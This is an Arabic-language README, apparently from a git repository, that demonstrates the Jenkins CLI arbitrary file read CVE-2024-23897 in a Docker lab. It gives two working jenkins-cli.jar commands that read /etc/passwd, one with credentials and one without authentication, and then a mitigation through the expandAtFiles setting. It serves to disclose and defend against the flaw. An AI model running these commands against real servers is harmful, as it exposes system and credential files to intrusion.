
في هذا git يمكنك العثور على جميع المعلومات حول CVE-2024-23897
تم وصف المشكلة، التي تم تخصيص معرف CVE لها CVE-2024-23897، على أنها ثغرة قراءة ملفات عشوائية عبر واجهة سطر الأوامر المدمجة. يحتوي هذا المحلل اللغوي للأوامر على ميزة تستبدل الحرف @ المتبوع بمسار ملف في الوسيطة بمحتويات الملف (expandAtFiles). هذه الميزة مفعلة افتراضيًا، ولا تقوم Jenkins 2.441 والإصدارات الأقدم، و LTS 2.426.2 والإصدارات الأقدم بتعطيلها.
من أجل هذا الإثبات، قمت بتثبيت Jenkins 2.426.2 باستخدام Docker لاختبار استغلال الثغرة
docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:2.426.2
بعد إنشاء مستخدم وكلمة مرور، قمت بتنزيل عميل واجهة سطر الأوامر Jenkins (jenkins-cli.jar) على جهاز المهاجم الخاص بي.
ثم كتبت الأمر لاستغلال الثغرة. في هذا الأمر، نحتاج إلى الحصول على بيانات اعتماد مستخدم Jenkins.
java -jar jenkins-cli.jar -s http://192.168.1.45:8080/ -auth "user:aze+123" connect-node "@/etc/passwd"
يسمح أمر آخر بعرض الأسطر الأولى من ملف دون مصادقة.
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://192.168.1.45:8080' help "@/etc/passwd"
لمواجهة هذه الثغرة، تحتاج إلى الانتقال إلى ملف تكوين Jenkins المسمى config.xml (في حالتي، يوجد في حاوية Docker الخاصة بي، لذا أقوم بالتبديل إلى وضع الصدفة في الحاوية)
<expandAtFiles>false</expandAtFiles>
وإعادة تشغيل Jenkins:
service jenkins restart